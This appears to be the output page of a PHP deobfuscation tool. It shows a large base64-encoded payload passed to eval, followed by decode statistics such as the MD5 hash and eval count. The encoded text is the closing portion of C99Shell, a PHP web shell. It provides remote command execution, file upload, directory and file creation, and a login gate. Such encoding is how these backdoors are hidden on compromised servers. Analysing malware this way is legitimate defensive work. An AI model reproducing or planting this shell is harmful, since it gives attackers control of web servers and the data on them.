ICAgICAgICAgICAiZXh0X3BocDUiLA0KICAgICAgICAgICAgImV4dF9waHRtbCIsDQogICAgICAg
ICAgICAiZXh0X3NodG1sIiwNCiAgICAgICAgICAgICJleHRfaHRtIg0KICAgICAgICApICwNCiAg
ICAgICAgImV4dF9qcGciID0+IGFycmF5KA0KICAgICAgICAgICAgImV4dF9qcGciLA0KICAgICAg
ICAgICAgImV4dF9naWYiLA0KICAgICAgICAgICAgImV4dF9wbmciLA0KICAgICAgICAgICAgImV4
dF9qcGVnIiwNCiAgICAgICAgICAgICJleHRfamZpZiIsDQogICAgICAgICAgICAiZXh0X2pwZSIs
DQogICAgICAgICAgICAiZXh0X2JtcCIsDQogICAgICAgICAgICAiZXh0X2ljbyIsDQogICAgICAg
ICAgICAiZXh0X3RpZiIsDQogICAgICAgICAgICAidGlmZiINCiAgICAgICAgKSAsDQogICAgICAg
ICJleHRfaHRtbCIgPT4gYXJyYXkoDQogICAgICAgICAgICAiZXh0X2h0bWwiLA0KICAgICAgICAg
ICAgImV4dF9odG0iDQogICAgICAgICkgLA0KICAgICAgICAiZXh0X2F2aSIgPT4gYXJyYXkoDQog
ICAgICAgICAgICAiZXh0X2F2aSIsDQogICAgICAgICAgICAiZXh0X21vdiIsDQogICAgICAgICAg
ICAiZXh0X212aSIsDQogICAgICAgICAgICAiZXh0X21wZyIsDQogICAgICAgICAgICAiZXh0X21w
ZWciLA0KICAgICAgICAgICAgImV4dF93bXYiLA0KICAgICAgICAgICAgImV4dF9ybSINCiAgICAg
ICAgKSAsDQogICAgICAgICJleHRfbG5rIiA9PiBhcnJheSgNCiAgICAgICAgICAgICJleHRfbG5r
IiwNCiAgICAgICAgICAgICJleHRfdXJsIg0KICAgICAgICApICwNCiAgICAgICAgImV4dF9pbmki
ID0+IGFycmF5KA0KICAgICAgICAgICAgImV4dF9pbmkiLA0KICAgICAgICAgICAgImV4dF9jc3Mi
LA0KICAgICAgICAgICAgImV4dF9pbmYiDQogICAgICAgICkgLA0KICAgICAgICAiZXh0X2RvYyIg
PT4gYXJyYXkoDQogICAgICAgICAgICAiZXh0X2RvYyIsDQogICAgICAgICAgICAiZXh0X2RvdCIN
CiAgICAgICAgKSAsDQogICAgICAgICJleHRfanMiID0+IGFycmF5KA0KICAgICAgICAgICAgImV4
dF9qcyIsDQogICAgICAgICAgICAiZXh0X3ZicyINCiAgICAgICAgKSAsDQogICAgICAgICJleHRf
Y21kIiA9PiBhcnJheSgNCiAgICAgICAgICAgICJleHRfY21kIiwNCiAgICAgICAgICAgICJleHRf
YmF0IiwNCiAgICAgICAgICAgICJleHRfcGlmIg0KICAgICAgICApICwNCiAgICAgICAgImV4dF93
cmkiID0+IGFycmF5KA0KICAgICAgICAgICAgImV4dF93cmkiLA0KICAgICAgICAgICAgImV4dF9y
dGYiDQogICAgICAgICkgLA0KICAgICAgICAiZXh0X3N3ZiIgPT4gYXJyYXkoDQogICAgICAgICAg
ICAiZXh0X3N3ZiIsDQogICAgICAgICAgICAiZXh0X2ZsYSINCiAgICAgICAgKSAsDQogICAgICAg
ICJleHRfbXAzIiA9PiBhcnJheSgNCiAgICAgICAgICAgICJleHRfbXAzIiwNCiAgICAgICAgICAg
ICJleHRfYXUiLA0KICAgICAgICAgICAgImV4dF9taWRpIiwNCiAgICAgICAgICAgICJleHRfbWlk
Ig0KICAgICAgICApICwNCiAgICAgICAgImV4dF9odGFjY2VzcyIgPT4gYXJyYXkoDQogICAgICAg
ICAgICAiZXh0X2h0YWNjZXNzIiwNCiAgICAgICAgICAgICJleHRfaHRwYXNzd2QiLA0KICAgICAg
ICAgICAgImV4dF9odCIsDQogICAgICAgICAgICAiZXh0X2h0YSIsDQogICAgICAgICAgICAiZXh0
X3NvIg0KICAgICAgICApDQogICAgKTsNCiAgICBpZiAoISRnZXRhbGwpDQogICAgew0KICAgICAg
ICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvZ2lmIik7DQogICAgICAgIGhlYWRlcigiQ2Fj
aGUtY29udHJvbDogcHVibGljIik7DQogICAgICAgIGhlYWRlcigiRXhwaXJlczogIiAuIGRhdGUo
InIiLCBta3RpbWUoMCwgMCwgMCwgMSwgMSwgMjAzMCkpKTsNCiAgICAgICAgaGVhZGVyKCJDYWNo
ZS1jb250cm9sOiBtYXgtYWdlPSIgLiAoNjAgKiA2MCAqIDI0ICogNykpOw0KICAgICAgICBoZWFk
ZXIoIkxhc3QtTW9kaWZpZWQ6ICIgLiBkYXRlKCJyIiwgZmlsZW10aW1lKF9fRklMRV9fKSkpOw0K
ICAgICAgICBmb3JlYWNoICgkaW1nZXF1YWxzIGFzICRrID0+ICR2KQ0KICAgICAgICB7DQogICAg
ICAgICAgICBpZiAoaW5fYXJyYXkoJGltZywgJHYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICRpbWcgPSAkazsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0N
CiAgICAgICAgfQ0KICAgICAgICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpDQogICAgICAgIHsN
CiAgICAgICAgICAgICRpbWcgPSAic21hbGxfdW5rIjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAo
aW5fYXJyYXkoJGltZywgJGV4dF90YXIpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkaW1nID0g
ImV4dF90YXIiOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2Vz
WyRpbWddKTsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGltZ2Vx
dWFscyBhcyAkYSA9PiAkYikNCiAgICAgICAgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGIgYXMg
JGQpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCRhICE9ICRkKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkaW1hZ2VzWyRkXSkp
DQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCJX
YXJuaW5nISBSZW1vdmUgXCRpbWFnZXNbIiAuICRkIC4gIl08YnI+Iik7DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAg
ICAgICAgbmF0c29ydCgkaW1hZ2VzKTsNCiAgICAgICAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMp
Ow0KICAgICAgICBlY2hvICI8Y2VudGVyPiI7DQogICAgICAgIGZvcmVhY2ggKCRrIGFzICR1KQ0K
ICAgICAgICB7DQogICAgICAgICAgICBlY2hvICR1IC4gIjo8aW1nIHNyYz1cIiIgLiAkc3VybCAu
ICJhY3Q9aW1nJmltZz0iIC4gJHUgLiAiXCIgYm9yZGVyPVwiMVwiPjxicj4iOw0KICAgICAgICB9
DQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7DQogICAgfQ0KICAgIGV4aXQ7DQp9DQppZiAoJGFj
dCA9PSAiYWJvdXQiKQ0Kew0KICAgIGVjaG8gIjxjZW50ZXI+PGI+Q3JlZGl0czo8YnI+PGJyPkt1
ZG9zIHRvIHRoZSAmcXVvdDtPcmlnaW5hbCBDcmVhdG9ycyZxdW90OyBvZiBDOTlTaGVsbC48YnI+
PGJyPmFuZCA8dT5LYWl6ZW5Mb3VpZTwvdT4gZm9yIExhdGVzdCBzYWZlLWJ1aWxkIGFuZCB1cGRh
dGUgZm9yIFBIUCA3Ljxicj48YnI+VGhhbmtzIHRvIGFsbCB3aG8gcmVwb3J0ZWQgdGhlIGJ1Z3Mu
PGJyPklmIHRoZXJlIGFyZSBtb3JlIGJ1Z3MsIHBsZWFzZSBjcmVhdGUgYW4gaXNzdWUgaW4gaHR0
cHM6Ly9naXRodWIuY29tL0thaXplbkxvdWllL0M5OVNoZWxsLVBIUDcgPC9iPiI7DQp9ID8+DQo8
L3RkPjwvdHI+PC90YWJsZT48YSBib29rbWFyaz0ibWluaXBhbmVsIj48YnI+PFRBQkxFIHN0eWxl
PSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFy
az0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0j
MzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4NCjx0cj48dGQgd2lkdGg9
IjEwMCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50
ZXIiPjxiPjo6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmw7ID8+YWN0PWNtZCZkPTw/cGhwIGVj
aG8gdXJsZW5jb2RlKCRkKTsgPz4iPjxiPkNvbW1hbmQgZXhlY3V0ZTwvYj48L2E+IDo6PC9iPjwv
cD48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3Ai
PjxjZW50ZXI+PGI+RW50ZXI6IDwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+
Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImNtZCI+PGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0
ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo
YXJzKCRjbWQpOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIx
Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwv
Zm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVy
PjxiPlNlbGVjdDogPC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21k
IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iY21kIj48
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+
PHNlbGVjdCBuYW1lPSJjbWQiPjw/cGhwIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpDQp7
DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0p
IC4gIlwiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRhbHNbMF0pIC4gIjwvb3B0aW9uPiI7DQp9ID8+
PC9zZWxlY3Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJz
cDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48
L3RkPjwvdHI+PC9UQUJMRT4NCjxicj4NCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBj
b2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGlu
Zz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxp
Z2h0PSNjMGMwYzAgYm9yZGVyPTE+DQo8dHI+DQogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIg
dmFsaWduPSJ0b3AiPjxjZW50ZXI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5h
Y3Q9c2VhcmNoJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+U2VhcmNoPC9iPjwv
YT4gOjo8L2I+PGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Qg
dmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBl
Y2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6
ZT0iMjkiIHZhbHVlPSIoLiopIj4mbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNl
YXJjaF9uYW1lX3JlZ2V4cCIgdmFsdWU9IjEiICBjaGVja2VkPiAtIHJlZ2V4cCZuYnNwOzxpbnB1
dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+
PC9wPjwvdGQ+DQogPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50
ZXI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9dXBsb2FkJmQ9PD9waHAg
ZWNobyAkdWQ7ID8+Ij48Yj5VcGxvYWQ8L2I+PC9hPiA6OjwvYj48Zm9ybSBtZXRob2Q9IlBPU1Qi
IEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFj
dCB2YWx1ZT0idXBsb2FkIj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZmlsZSI+PGlu
cHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1pbmlmb3JtIiB2YWx1ZT0iMSI+Jm5ic3A7PGlucHV0IHR5
cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPjxicj48P3BocCBlY2hvICR3ZHQ7
ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxicj48VEFCTEUgc3R5
bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JE
YXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9y
PSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9
IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Yj46OiBNYWtlIERpciA6Ojwv
Yj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1hY3QgdmFsdWU9Im1rZGlyIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9
Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBz
aXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2Vu
dGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+
PGI+OjogTWFrZSBGaWxlIDo6PC9iPjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9YWN0IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2
YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtm
aWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZh
bHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+
PC90cj48L3RhYmxlPg0KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBz
ZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhl
aWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNj
MGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9w
Ij48Y2VudGVyPjxiPjo6IEdvIERpciA6OjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1
cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ImxzIj48aW5wdXQgdHlw
ZT0idGV4dCIgbmFtZT0iZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4i
PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3Rk
Pjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxiPjo6IEdv
IEZpbGUgOjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJnb2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0iZiIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiZuYnNwOzxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJs
ZT4NCjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0x
IGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9MCB3aWR0
aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9
MT48dHI+PHRkIHdpZHRoPSI5OTAiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxwIGFsaWduPSJj
ZW50ZXIiPjxiPi0tWyBjOTlzaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz4gPGEgaHJlZj0i
PD9waHAgZWNobyAkc3VybDsgPz5hY3Q9YWJvdXQiPjx1PjxiPm1haW50YWluZWQgYnk8L2I+PC91
PjwvYT4gS2FpemVuTG91aWUgfCA8YSBocmVmPSJodHRwczovL2dpdGh1Yi5jb20vS2FpemVuTG91
aWUvQzk5U2hlbGwtUEhQNyI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkM5OVNoZWxsIEdpdGh1Yjwv
Zm9udD48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvZm9udD4gfCBHZW5lcmF0aW9uIHRpbWU6
IDw/cGhwIGVjaG8gcm91bmQoZ2V0bWljcm90aW1lKCkgLSBzdGFydHRpbWUsIDQpOyA/PiBdLS08
L2I+PC9wPjwvdGQ+PC90cj48L3RhYmxlPg0KPC9ib2R5PjwvaHRtbD48P3BocCBjaGRpcigkbGFz
dGRpcik7DQoNCmM5OXNoZXhpdCgpOyANCn0gZWxzZSB7DQo/Pg0KICAgIDxmb3JtIGFjdGlvbj0i
IiBtZXRob2Q9InBvc3QiID48aW5wdXQgc2l6ZT0zNSB0eXBlPXRleHQgbmFtZT0idXNlckxvZ2lu
IiBwbGFjZWhvbGRlcj0idXNlciIgLz48aW5wdXQgc2l6ZT0zNSB0eXBlPXBhc3N3b3JkIG5hbWU9
InBhc3NMb2dpbiIgcGxhY2Vob2xkZXI9InBhc3N3b3JkIiAvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2
YWx1ZT0iTG9naW4iIHN0eWxlPSJkaXNwbGF5OmlubGluZTttYXJnaW4tbGVmdDogMjBweCIgLz48
L2Zvcm0+DQo8P3BocA0KIHByaW50KCJVbmF1dGhyaXplZCIpOw0KfQ0K
"));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 2132aa3e9ada5c6acb500f1704b5420b
Eval Count 1
Decode Time 424 ms